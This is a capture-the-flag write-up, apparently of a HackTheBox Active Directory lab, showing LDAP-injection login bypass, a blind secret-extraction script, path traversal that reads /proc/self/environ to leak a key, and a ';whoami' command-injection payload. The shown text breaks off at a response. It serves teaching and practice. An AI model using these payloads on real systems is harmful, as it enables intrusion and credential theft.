by 0xW1LD

As usual we start off with an nmap port scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-09-23 03:02:49Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-23T02:56:19
| Not valid after: 2056-09-23T02:56:19
| MD5: 063b:059e:ab89:8ea3:8e6a:03c0:f1bb:1a87
|_SHA-1: 3424:3e64:1b2e:d5fb:75b9:92d9:9821:e698:d488:07f1
|_ssl-date: 2026-09-23T03:04:57+00:00; 0s from scanner time.
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after: 2124-06-19T15:55:55
| MD5: 5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2026-09-23T03:04:03+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-22T02:49:17
| Not valid after: 2027-03-24T02:49:17
| MD5: 9547:6de8:46f2:f2f4:2248:fec1:cb91:1913
|_SHA-1: 2812:9662:e7ca:210e:e126:2395:a192:0a19:1d71:cad4
|_ssl-date: 2026-09-23T03:04:56+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Issuer: commonName=core.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-18T15:14:02
| Not valid after: 2124-05-25T15:14:02
| MD5: 8e6a:b3f0:2883:ed74:dd49:2f75:7944:41e9
|_SHA-1: 507b:a1b1:afdb:d880:f67a:6d75:4b06:2b20:e969:96bc
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| tls-alpn:
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
49443/tcp open unknown
49664/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49682/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
53216/tcp open msrpc Microsoft Windows RPC
53300/tcp open msrpc Microsoft Windows RPC
57498/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2026-09-23T03:03:51
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Visiting this website all requests lead to a default MS HTTPAPI 404 error page.

Visiting the website on port 8008 we’re greeted by a GhostCMS blog

We can find a user’s full name: Kathryn Holland. Furthermore looking into our web requests particularly when using the search feature we find a request to the api
1
2
3
4
5
6
7
8
9
10
11
12
13
14
OPTIONS /ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/
Origin: http://ghost.htb:8008
Connection: keep-alive
Priority: u=4
However this seems to lead to another MS HTTPAPI 404 error.
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 24 Sep 2026 01:43:08 GMT
Connection: close
Content-Length: 315
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>
Looking around we can find several directories mentioned in the robots.txt file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 01:51:57 GMT
Content-Type: text/plain
Content-Length: 148
Connection: keep-alive
X-Powered-By: Express
ETag: "0b34e44853d14eca380b713528d1f9ef"
Cache-Control: public, max-age=3600
Vary: Accept-Encoding
User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/
The pressence of a sitemap.xml file is rather interesting as it allows us to know the publicly accessible directories without needing a directory fuzz.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap>
<loc>http://ghost.htb/sitemap-pages.xml</loc>
<lastmod>2026-09-24T01:38:41.511Z</lastmod>
</sitemap>
<sitemap>
<loc>http://ghost.htb/sitemap-posts.xml</loc>
<lastmod>2024-01-09T05:52:59.000Z</lastmod>
</sitemap>
<sitemap>
<loc>http://ghost.htb/sitemap-authors.xml</loc>
<lastmod>2024-02-03T05:44:26.000Z</lastmod>
</sitemap>
</sitemapindex>
I’ll take a look at each of these sitemaps, sitemap-pages.xml
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">
<url>
<loc>http://ghost.htb/</loc>
<lastmod>2026-09-24T01:38:41.510Z</lastmod>
</url>
</urlset>
sitemap-posts.xml
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">
<url>
<loc>
http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/
</loc>
<lastmod>2024-01-09T05:52:59.000Z</lastmod>
</url>
</urlset>
sitemap-authors.xml
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">
<url>
<loc>http://ghost.htb/author/kathryn/</loc>
<lastmod>2024-02-03T05:44:26.000Z</lastmod>
</url>
</urlset>
Scanning for subdomains we get 2 hits, and this process is rather slow as the machine seems to timeout a lot as you can tell by the number of errors we get.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS /home/w1ld/ALPHA/ghost> ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb:8008" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -timeout 40
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://ghost.htb:8008
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.ghost.htb:8008
:: Follow redirects : false
:: Calibration : false
:: Timeout : 40
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
intranet [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 4902ms]
gitea [Status: 200, Size: 13657, Words: 1050, Lines: 272, Duration: 4215ms]
Upon visiting the intranet subdomain we get redirected to an intranet login page.

Attempting to login the POST request seems to send a multi-part form binary data with interesting labels such as 1_ldap-username and 1_ldap-secret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Length: 952
Origin: http://intranet.ghost.htb:8008
Connection: keep-alive
Priority: u=0
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_REF_1"
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:0"
{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:1"
[{}]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_KEY"
k2982904007
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-username"
test
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-secret"
test
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="0"
[{},"$K1"]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3--
We get a response that our username and secret is invalid.
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 02:05:23 GMT
Content-Type: text/x-component
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Content-Length: 98
0:["$@1",["cprT2WY1sZ8jzOGNk7ojt",null]]
1:{"error":"Invalid combination of username and secret"}
Knowing that there’s ldap we can attempt a simple ldap injection by using * symbos which would make the resulting query look something like this:
(&(username=*)(secret=*))
Let’s try it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Length: 952
Origin: http://intranet.ghost.htb:8008
Connection: keep-alive
Priority: u=0
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_REF_1"
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:0"
{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:1"
[{}]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_KEY"
k2982904007
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-username"
*
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-secret"
*
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="0"
[{},"$K1"]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3--
We get the following response with a set-cookie header which implies a valid login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 303 See Other
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 02:08:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Set-Cookie: token=Bearer%20eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3OTI4MDc2OTQsImlhdCI6MTc5MDIxNTY5NCwidXNlciI6eyJ1c2VybmFtZSI6ImthdGhyeW4uaG9sbGFuZCJ9fQ.1YOdOR4gBAP-hRAQLtn2FuUlv9FT1v6BAcXcIgG-Cgg; Path=/
x-action-revalidated: [[],0,1]
x-action-redirect: /
X-Powered-By: Next.js
ETag: "bwc9mymkdm2"
{}
Decoding this token we get the following information
1
{"typ":"JWT","alg":"HS256"}{"exp":1792807694,"iat":1790215694,"user":{"username":"kathryn.holland"}}
Technically we can grab a list of users through this method by checking each letter with a * wildcard.
1
2
3
Content-Disposition: form-data; name="1_ldap-username"
a*
With the resulting JWT having our username.
1
{"typ":"JWT","alg":"HS256"}{"exp":1792807789,"iat":1790215789,"user":{"username":"arthur.boyd"}}
However we can instead find a list of usernames once we’re already logged in using the /users endpoint

In the news we find a couple pieces of information detailing a gitea instance along with the only user allowed to authenticate being the gitea_temp_principal as well as that the password being linked to the intranet
Git Migration We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with thegitea_temp_principalaccount and its corresponding intranet token as password.
We can’t post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.
It is then mentioned that the intranet uses a secret token instead of a password
New Intranet Portal We are in the process of migrating to the new intranet portal (this one).
Until then, you have to use a secret token instead of your domain password.
We apologize for the inconvenience!
Judging by this information we should be able to login to gitea as gitea_temp_principal by checking its ldap secret attribute. Which we can query using our blind ldap injection
In the forums we also find mentions of a bitbucket DNS entry not being configured.
Hello all, I tried to connect to bitbucket.ghost.htb but it doesn’t work. Any idea why? I have a script that checks the pipeline results and it works in Gitea, I tried adapting it to Bitbucket and it works locally but I can’t test it on our servers
- justin. bradley
Hello Justin, the migration is not ready yet, so the DNS entry is not configured. It shouldn’t take much longer, so you can keep running the script
- kathryn.holland
Earlier we’ve found that gitea_temp_principal’s secret could be used to login to the gitea endpoint which we can access through the gitea.ghost.htb:8008 uri.

Now this version of Gitea: 1.21.3 is actually pretty old and is vulnerable to a few modern CVEs however, we’ll do this the intended way which is through a blind ldap injection, I’ll use Caido Javascript Workflows to create an automation for this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* @param {NodeInputHTTP} input
* @param {SDK} sdk
* @returns {MaybePromise<NodeResult | Data | undefined>}
*/
export async function run({ request, response, extra }, sdk) {
const chars = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
const body = request.getBody();
let spec = request.toSpec();
let value = "";
let text = body.toText();
while (true){
for (const c of chars){
let modtext = text.replace("SECRETHERE", `${value}`);
spec.setBody(new Body(modtext));
let req = await sdk.requests.send(spec);
if (req.response.getCode() == 303){
sdk.console.log(`[+] Password found: ${value}`);
return;
};
modtext = text.replace("SECRETHERE", `${value}${c}*`);
spec.setBody(new Body(modtext));
req = await sdk.requests.send(spec);
if (req.response.getCode() === 303) {
value = value.concat(c);
sdk.console.log(value);
break;
};
};
}
}
This is pretty slow since we don’t know the length of the secret we can’t actively figure out the length of the secret as well as we’d have to check each value if it’s the correct one given that even the full secret with a * at the end will keep going infinitely.
Running this after a while I get the following log:
1
[+] Password found: [REDACTED]
Which when used allows us to login as gitea_temp_principal against the gitea.ghost.htb:8008 endpoint.

Taking a look at the ghost-dev blog we find it’s a ghostCMS docker container, we also find additional information about additional features including linking it to the intranet using a DEV_INTRANET_KEY environment variable. We’re given a modified posts-public.js file which extracts additional information from posts. What’s noteworthy here is the following.
In the future we should move the information to the database so that we don’t accidentally lose data on container recreation
This indicates that there’s no database that holds the post data therefore it’s simply accessing data a different way. Finally we find an API Key for GhostCMS : a5af628828958c976a3b6cc81a
Studying the code it seems that what we want is to modify the extra parameter in the browse.query() function as it conducts a fileread.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
browse: {
headers: {
cacheInvalidate: false
},
cache: postsPublicService.api?.cache,
generateCacheKeyData(frame) {
return {
options: generateOptionsData(frame, [
'include',
'filter',
'fields',
'formats',
'limit',
'order',
'page',
'absolute_urls',
'collection'
]),
auth: generateAuthData(frame),
method: 'browse'
};
},
options: [
'include',
'filter',
'fields',
'formats',
'limit',
'order',
'page',
'debug',
'absolute_urls',
'collection'
],
validation: {
options: {
include: {
values: allowedIncludes
},
formats: {
values: models.Post.allowedFormats
}
}
},
permissions: true,
async query(frame) {
const options = {
...frame.options,
mongoTransformer: rejectPrivateFieldsTransformer
};
const posts = await postsService.browsePosts(options);
const extra = frame.original.query?.extra;
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
}
},
In the context of GhostCMS a frame is simply a request processing object, grabbing the original attribute of that frame gives us the original request and grabbing the query gives us the query parameters, which tells us that the needed query parameter is called extra.
Let’s see if we can’t do a bit of file traversal
1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/hosts HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/
Origin: http://ghost.htb:8008
Connection: keep-alive
Priority: u=4
Which gives a detailed json response but all we want is the extra object.
1
"extra":{"../../../../etc/hosts":"127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.19.0.2\t26ae7990f3dd\n"}
We successfully have an arbitrary File Read, let’s check our Environment Variables as the DEV_INTRANET_KEY was mentioned earlier.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/
Origin: http://ghost.htb:8008
Connection: keep-alive
Priority: u=4
====================
"extra":{"../../../../proc/self/environ":"HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"}
Looking at the environ we find the DEV_INTRANET_KEY:!@yqr!X2kxmQ.@Xe
Firslty the repository mentions that the API is exposed at http://intranet.ghost.htb/api-dev. This narrows down our search as all we have to do is check which sourcecode is exported to the api-dev in the main class.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#[macro_use]
extern crate rocket;
use rocket::http::Method;
use rocket::Request;
use rocket::serde::json::Json;
use rocket_cors::AllowedOrigins;
mod api;
mod database;
#[catch(401)]
fn not_authorized(_req: &Request) -> Json<()> {
Json(())
}
#[launch]
fn rocket() -> _ {
dotenv::dotenv().ok();
let cors = rocket_cors::CorsOptions {
allowed_origins: AllowedOrigins::all(),
allowed_methods: vec![Method::Get, Method::Post].into_iter().map(From::from).collect(),
allow_credentials: true,
..Default::default()
}.to_cors().unwrap();
rocket::build()
.mount("/api", routes![
api::login::login,
api::news::get_news,
api::users::get_users,
api::me::get_me,
api::forum::get_forum,
])
.mount("/api-dev", routes![
api::dev::scan::scan
])
.attach(cors)
.register("/", catchers![not_authorized])
}
The /api-dev route is mounted to the api/dev/scan/scan module, let’s take a look at it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
use std::process::Command;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;
use crate::api::dev::DevGuard;
#[derive(Deserialize)]
pub struct ScanRequest {
url: String,
}
#[derive(Serialize)]
pub struct ScanResponse {
is_safe: bool,
// remove the following once the route is stable
temp_command_success: bool,
temp_command_stdout: String,
temp_command_stderr: String,
}
// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
match result {
Ok(output) => {
Json(ScanResponse {
is_safe: true,
temp_command_success: true,
temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
})
}
Err(_) => Json(ScanResponse {
is_safe: true,
temp_command_success: false,
temp_command_stdout: "".to_string(),
temp_command_stderr: "".to_string(),
})
}
}
We notice that the post parameter is a json ScanRequest with a url field is being used in a bash command sink without any sanitization, however there does exist this DevGuard object from the /dev.rs file. Let’s look at this source.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};
pub(crate) mod scan;
pub struct DevGuard;
#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
type Error = ();
async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
let key = request.headers().get_one("X-DEV-INTRANET-KEY");
match key {
Some(key) => {
if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
Outcome::Success(DevGuard {})
} else {
Outcome::Error((Status::Unauthorized, ()))
}
},
None => Outcome::Error((Status::Unauthorized, ()))
}
}
}
Looks like it grabs the headers and checks it against the envvar and returns an unauthorized error if it doesn’t match.
We have all the pieces we need, let’s construct a payload request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api-dev/scan HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/json
X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe
{"url":";whoami"}
We get the following response.
1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
